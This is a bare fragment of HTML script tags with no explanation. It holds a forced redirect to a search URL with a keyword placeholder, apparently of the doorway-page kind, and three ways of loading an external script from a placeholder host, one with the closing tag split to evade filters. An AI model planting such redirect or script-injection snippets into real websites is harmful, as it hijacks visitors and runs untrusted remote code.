<SCRIPT LANGUAGE="JavaScript"> function f(){ document.location.href='http://feed.com/search.php?q=[key_main]'; } window.onFocus = f() </SCRIPT>
<script type="text/javascript" src="http://example.example/file.js"></script>
<script type="text/javascript"> document.write('<script type="text/javascript" src="http://example.example/file.js"><\/scr'+'ipt>'); </script>
<script type="text/javascript"> var js = document.createElement('script'); js.type = 'text/javascript'; js.src = 'http://example.example/file.js'; document.appendChild(js); </script>